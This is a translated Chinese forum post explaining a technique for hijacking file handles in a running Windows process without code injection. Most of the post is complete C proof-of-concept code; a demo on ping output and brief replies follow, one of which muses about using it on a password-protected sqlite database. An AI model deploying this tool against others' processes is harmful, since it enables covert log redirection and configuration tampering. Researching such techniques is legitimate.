首页
社区
课程
招聘
[翻译]HijackFileHandle - 在不注入代码的情况下劫持一个远程进程的文件
发表于: 2022-2-10 10:12 14046

[翻译]HijackFileHandle - 在不注入代码的情况下劫持一个远程进程的文件

2022-2-10 10:12
14046

翻译
原文地址:https://www.x86matthew.com/view_post?id=hijack_file_handle

功能:在不注入代码的情况下劫持一个远程进程的文件


这篇文章介绍了我前段时间开发的一项技术,它允许在远程进程中操纵文件句柄,而不需要依赖代码注入。

这个方法利用了Windows重新使用句柄索引的事实。当一个句柄被关闭时,在该进程中创建的下一个句柄将重新使用先前的句柄索引。这个事实是众所周知的,所以我相信其他人也会想出类似的想法。

这主要用于将一个日志文件(或任何其他输出文件)重定向到一个不同的位置,但通过一些小的代码修改,它有可能被用来替换目标进程中的一个配置文件。这适用于任何使用持久化文件句柄的软件。

我们可以通过以下步骤来利用这一机制:
1. 创建一个新的输出文件——目标句柄将被重定向到这里。
2. 使用NtSuspendProcess暂停目标进程。
3. 使用NtQuerySystemInformation循环浏览目标进程中的所有句柄。
4. .通过检查ObjectTypeIndex值忽略任何非文件句柄。我已经写了一个函数来计算文件句柄的正确ObjectTypeIndex。
5. 使用NtQueryInformationFile与FileNameInformation在远程进程中找到目标文件句柄,以检索文件路径。这里需要一些技巧来避免死锁。
6. 使用带有DUPLICATE_CLOSE_SOURCE标志的DuplicateHandle关闭远程进程中的目标文件句柄。
7. 使用DuplicateHandle将新的输出文件(来自步骤#1)复制到目标进程中。确认复制的句柄与原始目标句柄相匹配。
8. 使用NtResumeProcess恢复目标进程。

我的概念验证程序采取以下参数:

HijackFileHandle.exe <target_pid> <target_file_name> <new_file_path>


为了演示这个概念,我们将执行ping 8.8.8.8 -t > output.txt来启动一个无法计量的ping,并写入output.txt。

在第二个命令窗口中,我们可以执行以下命令。

HijackFileHandle.exe 1234 output.txt hijacked.txt



(用ping.exe的进程ID替换1234)

这将搜索目标进程中与 "output.txt "相关的任何文件句柄,并以透明方式将它们替换为 "hijacked.txt "的新句柄。

#include <stdio.h>
#include <windows.h>
 
#define SystemExtendedHandleInformation 64
#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004
 
#define FileNameInformation 9
#define PROCESS_SUSPEND_RESUME 0x800
 
struct SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX
{
    ULONG Object;
    ULONG UniqueProcessId;  
    ULONG HandleValue;  
    ULONG GrantedAccess;
    USHORT CreatorBackTraceIndex;
    USHORT ObjectTypeIndex;
    ULONG HandleAttributes;
    ULONG Reserved;
};
 
struct SYSTEM_HANDLE_INFORMATION_EX
{
    ULONG NumberOfHandles;
    ULONG Reserved;
    SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX HandleList[1];
};
 
struct FILE_NAME_INFORMATION
{
    ULONG FileNameLength;
    WCHAR FileName[1];
};
 
struct IO_STATUS_BLOCK
{
    union
    {
        DWORD Status;
        PVOID Pointer;
    };
    DWORD *Information;
};
 
struct GetFileHandlePathThreadParamStruct
{
    HANDLE hFile;
    char szPath[512];
};
 
DWORD (WINAPI *NtQuerySystemInformation)(DWORD SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);
DWORD (WINAPI *NtQueryInformationFile)(HANDLE FileHandle, void *IoStatusBlock, PVOID FileInformation, ULONG Length, DWORD FileInformationClass);
DWORD (WINAPI *NtSuspendProcess)(HANDLE Process);
DWORD (WINAPI *NtResumeProcess)(HANDLE Process);
 
SYSTEM_HANDLE_INFORMATION_EX *pGlobal_SystemHandleInfo = NULL;
DWORD dwGlobal_DebugObjectType = 0;
 
DWORD GetSystemHandleList()
{
    DWORD dwAllocSize = 0;
    DWORD dwStatus = 0;
    DWORD dwLength = 0;
    BYTE *pSystemHandleInfoBuffer = NULL;
 
    // free previous handle info list (if one exists)
    if(pGlobal_SystemHandleInfo != NULL)
    {
        free(pGlobal_SystemHandleInfo);
    }
 
    // get system handle list
    dwAllocSize = 0;
    for(;;)
    {
        if(pSystemHandleInfoBuffer != NULL)
        {
            // free previous inadequately sized buffer
            free(pSystemHandleInfoBuffer);
            pSystemHandleInfoBuffer = NULL;
        }
 
        if(dwAllocSize != 0)
        {
            // allocate new buffer
            pSystemHandleInfoBuffer = (BYTE*)malloc(dwAllocSize);
            if(pSystemHandleInfoBuffer == NULL)
            {
                return 1;
            }
        }
 
        // get system handle list
        dwStatus = NtQuerySystemInformation(SystemExtendedHandleInformation, (void*)pSystemHandleInfoBuffer, dwAllocSize, &dwLength);
        if(dwStatus == 0)
        {
            // success
            break;
        }
        else if(dwStatus == STATUS_INFO_LENGTH_MISMATCH)
        {
            // not enough space - allocate a larger buffer and try again (also add an extra 1kb to allow for additional handles created between checks)
            dwAllocSize = (dwLength + 1024);
        }
        else
        {
            // other error
            free(pSystemHandleInfoBuffer);
            return 1;
        }
    }
 
    // store handle info ptr
    pGlobal_SystemHandleInfo = (SYSTEM_HANDLE_INFORMATION_EX*)pSystemHandleInfoBuffer;
 
    return 0;
}
 
DWORD GetFileHandleObjectType(DWORD *pdwFileHandleObjectType)
{
    HANDLE hFile = NULL;
    char szPath[512];
    DWORD dwFound = 0;
    DWORD dwFileHandleObjectType = 0;
 
    // get the file path of the current exe
    memset(szPath, 0, sizeof(szPath));
    if(GetModuleFileName(NULL, szPath, sizeof(szPath) - 1) == 0)
    {
        return 1;
    }
 
    // open the current exe
    hFile = CreateFile(szPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
    if(hFile == INVALID_HANDLE_VALUE)
    {
        return 1;
    }
 
    // take a snapshot of the system handle list
    if(GetSystemHandleList() != 0)
    {
        return 1;
    }
 
    // close the temporary file handle
    CloseHandle(hFile);
 
    // find the temporary file handle in the previous snapshot
    for(DWORD i = 0; i < pGlobal_SystemHandleInfo->NumberOfHandles; i++)
    {
        // check if the process ID is correct
        if(pGlobal_SystemHandleInfo->HandleList[i].UniqueProcessId == GetCurrentProcessId())
        {
            // check if the handle index is correct
            if(pGlobal_SystemHandleInfo->HandleList[i].HandleValue == (DWORD)hFile)
            {
                // store the file handle object type index
                dwFileHandleObjectType = pGlobal_SystemHandleInfo->HandleList[i].ObjectTypeIndex;
                dwFound = 1;
                break;
            }
        }
    }
 
    // ensure the file handle object type was found
    if(dwFound == 0)
    {
        return 1;
    }
 
    // store object type
    *pdwFileHandleObjectType = dwFileHandleObjectType;
 
    return 0;
}
 
DWORD WINAPI GetFileHandlePathThread(LPVOID lpArg)
{
    BYTE bFileInfoBuffer[2048];
    IO_STATUS_BLOCK IoStatusBlock;
    GetFileHandlePathThreadParamStruct *pGetFileHandlePathThreadParam = NULL;
    FILE_NAME_INFORMATION *pFileNameInfo = NULL;
 
    // get param
    pGetFileHandlePathThreadParam = (GetFileHandlePathThreadParamStruct*)lpArg;
 
    // get file path from handle
    memset((void*)&IoStatusBlock, 0, sizeof(IoStatusBlock));
    memset(bFileInfoBuffer, 0, sizeof(bFileInfoBuffer));
    if(NtQueryInformationFile(pGetFileHandlePathThreadParam->hFile, &IoStatusBlock, bFileInfoBuffer, sizeof(bFileInfoBuffer), FileNameInformation) != 0)
    {
        return 1;
    }
 
    // get FILE_NAME_INFORMATION ptr
    pFileNameInfo = (FILE_NAME_INFORMATION*)bFileInfoBuffer;
 
    // validate filename length
    if(pFileNameInfo->FileNameLength >= sizeof(pGetFileHandlePathThreadParam->szPath))
    {
        return 1;
    }
 
    // convert file path to ansi string
    wcstombs(pGetFileHandlePathThreadParam->szPath, pFileNameInfo->FileName, sizeof(pGetFileHandlePathThreadParam->szPath) - 1);
 
    return 0;
}
 
DWORD ReplaceFileHandle(HANDLE hTargetProcess, HANDLE hExistingRemoteHandle, HANDLE hReplaceLocalHandle)
{
    HANDLE hClonedFileHandle = NULL;
    HANDLE hRemoteReplacedHandle = NULL;
 
    // close remote file handle
    if(DuplicateHandle(hTargetProcess, hExistingRemoteHandle, GetCurrentProcess(), &hClonedFileHandle, 0, 0, DUPLICATE_CLOSE_SOURCE | DUPLICATE_SAME_ACCESS) == 0)
    {
        return 1;
    }
 
    // close cloned file handle
    CloseHandle(hClonedFileHandle);
 
    // duplicate local file handle into remote process
    if(DuplicateHandle(GetCurrentProcess(), hReplaceLocalHandle, hTargetProcess, &hRemoteReplacedHandle, 0, 0, DUPLICATE_SAME_ACCESS) == 0)
    {
        return 1;
    }
 
    // ensure that the new remote handle matches the original value
    if(hRemoteReplacedHandle != hExistingRemoteHandle)
    {
        return 1;
    }
 
    return 0;
}
 
DWORD HijackFileHandle(DWORD dwTargetPID, char *pTargetFileName, HANDLE hReplaceLocalHandle)
{
    HANDLE hProcess = NULL;
    HANDLE hClonedFileHandle = NULL;
    DWORD dwFileHandleObjectType = 0;
    DWORD dwThreadExitCode = 0;
    DWORD dwThreadID = 0;
    HANDLE hThread = NULL;
    GetFileHandlePathThreadParamStruct GetFileHandlePathThreadParam;
    char *pLastSlash = NULL;
    DWORD dwHijackCount = 0;
 
    // calculate the object type index for file handles on this system
    if(GetFileHandleObjectType(&dwFileHandleObjectType) != 0)
    {
        return 1;
    }
 
    printf("Opening process: %u...\n", dwTargetPID);
 
    // open target process
    hProcess = OpenProcess(PROCESS_DUP_HANDLE | PROCESS_SUSPEND_RESUME, 0, dwTargetPID);
    if(hProcess == NULL)
    {
        return 1;
    }
 
    // suspend target process
    if(NtSuspendProcess(hProcess) != 0)
    {
        CloseHandle(hProcess);
 
        return 1;
    }
 
    // get system handle list
    if(GetSystemHandleList() != 0)
    {
        NtResumeProcess(hProcess);
        CloseHandle(hProcess);
 
        return 1;
    }
 
    for(DWORD i = 0; i < pGlobal_SystemHandleInfo->NumberOfHandles; i++)
    {
        // ensure this handle is a file handle object
        if(pGlobal_SystemHandleInfo->HandleList[i].ObjectTypeIndex != dwFileHandleObjectType)
        {
            continue;
        }
 
        // ensure this handle is in the target process
        if(pGlobal_SystemHandleInfo->HandleList[i].UniqueProcessId != dwTargetPID)
        {
            continue;
        }
 
        // clone file handle
        if(DuplicateHandle(hProcess, (HANDLE)pGlobal_SystemHandleInfo->HandleList[i].HandleValue, GetCurrentProcess(), &hClonedFileHandle, 0, 0, DUPLICATE_SAME_ACCESS) == 0)
        {
            continue;
        }
 
        // get the file path of the current handle - do this in a new thread to prevent deadlocks
        memset((void*)&GetFileHandlePathThreadParam, 0, sizeof(GetFileHandlePathThreadParam));
        GetFileHandlePathThreadParam.hFile = hClonedFileHandle;
        hThread = CreateThread(NULL, 0, GetFileHandlePathThread, (void*)&GetFileHandlePathThreadParam, 0, &dwThreadID);
        if(hThread == NULL)
        {
            CloseHandle(hClonedFileHandle);
            continue;
        }
 
        // wait for thread to finish (1 second timeout)
        if(WaitForSingleObject(hThread, 1000) != WAIT_OBJECT_0)
        {
            // time-out - kill thread
            TerminateThread(hThread, 1);
 
            CloseHandle(hThread);
            CloseHandle(hClonedFileHandle);
            continue;
        }
 
        // close cloned file handle
        CloseHandle(hClonedFileHandle);
 
        // check exit code of temporary thread
        GetExitCodeThread(hThread, &dwThreadExitCode);
        if(dwThreadExitCode != 0)
        {
            // failed
            CloseHandle(hThread);
            continue;
        }
 
        // close thread handle
        CloseHandle(hThread);
 
        // get last slash in path
        pLastSlash = strrchr(GetFileHandlePathThreadParam.szPath, '\\');
        if(pLastSlash == NULL)
        {
            continue;
        }
 
        // check if this is the target filename
        pLastSlash++;
        if(stricmp(pLastSlash, pTargetFileName) != 0)
        {
            continue;
        }
 
        // found matching filename
        printf("Found remote file handle: \"%s\" (Handle ID: 0x%X)\n", GetFileHandlePathThreadParam.szPath, pGlobal_SystemHandleInfo->HandleList[i].HandleValue);
        dwHijackCount++;
 
        // replace the remote file handle
        if(ReplaceFileHandle(hProcess, (HANDLE)pGlobal_SystemHandleInfo->HandleList[i].HandleValue, hReplaceLocalHandle) == 0)
        {
            // handle replaced successfully
            printf("Remote file handle hijacked successfully\n\n");
        }
        else
        {
            // failed to hijack handle
            printf("Failed to hijack remote file handle\n\n");
        }
    }
 
    // resume process
    if(NtResumeProcess(hProcess) != 0)
    {
        CloseHandle(hProcess);
 
        return 1;
    }
 
    // clean up
    CloseHandle(hProcess);
 
    // ensure at least one matching file handle was found
    if(dwHijackCount == 0)
    {
        printf("No matching file handles found\n");
 
        return 1;
    }
 
    return 0;
}
 
DWORD GetNtdllFunctions()
{
    // get NtQueryInformationFile ptr
    NtQueryInformationFile = (unsigned long (__stdcall *)(void *,void *,void *,unsigned long,unsigned long))GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryInformationFile");
    if(NtQueryInformationFile == NULL)
    {
        return 1;
    }
 
    // get NtQuerySystemInformation ptr
    NtQuerySystemInformation = (unsigned long (__stdcall *)(unsigned long,void *,unsigned long,unsigned long *))GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation");
    if(NtQuerySystemInformation == NULL)
    {
        return 1;
    }
 
    // get NtSuspendProcess ptr
    NtSuspendProcess = (unsigned long (__stdcall *)(void *))GetProcAddress(GetModuleHandle("ntdll.dll"), "NtSuspendProcess");
    if(NtSuspendProcess == NULL)
    {
        return 1;
    }
 
    // get NtResumeProcess ptr
    NtResumeProcess = (unsigned long (__stdcall *)(void *))GetProcAddress(GetModuleHandle("ntdll.dll"), "NtResumeProcess");
    if(NtResumeProcess == NULL)
    {
        return 1;
    }
 
    return 0;
}
 
int main(int argc, char *argv[])
{
    DWORD dwPID = 0;
    char *pTargetFileName = NULL;
    char *pNewFilePath = NULL;
    HANDLE hFile = NULL;
 
    printf("HijackFileHandle - [url]www.x86matthew.com[/url]\n\n");
 
    if(argc != 4)
    {
        printf("%s <target_pid> <target_file_name> <new_file_path>\n\n", argv[0]);
        return 1;
    }
 
    // get params
    dwPID = atoi(argv[1]);
    pTargetFileName = argv[2];
    pNewFilePath = argv[3];
 
    // get ntdll function ptrs
    if(GetNtdllFunctions() != 0)
    {
        return 1;
    }
 
    // create new output file
    hFile = CreateFile(pNewFilePath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, 0, NULL);
    if(hFile == INVALID_HANDLE_VALUE)
    {
        printf("Failed to create file\n");
 
        return 1;
    }
 
    // hijack file handle in target process
    if(HijackFileHandle(dwPID, pTargetFileName, hFile) != 0)
    {
        printf("Error\n");
 
        // error - delete output file
        CloseHandle(hFile);
        DeleteFile(pNewFilePath);
 
        return 1;
    }
 
    // close local file handle
    CloseHandle(hFile);
 
    printf("Finished\n");
 
    return 0;
}



[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2022-2-11 17:51 被梦幻的彼岸编辑 ,原因:
收藏
免费 4
支持
分享
最新回复 (3)
雪    币: 7649
活跃值: (4314)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
太棒了 这个技术值得研究下  
2022-2-10 11:23
0
雪    币: 576
活跃值: (2035)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
mark 想起了多开关句柄
2022-2-10 13:35
0
雪    币: 1858
活跃值: (2112)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
4
猜测 打开带密码数据库sqlite3 能否用这种方法
2022-2-17 00:05
0
游客
登录 | 注册 方可回帖
返回
//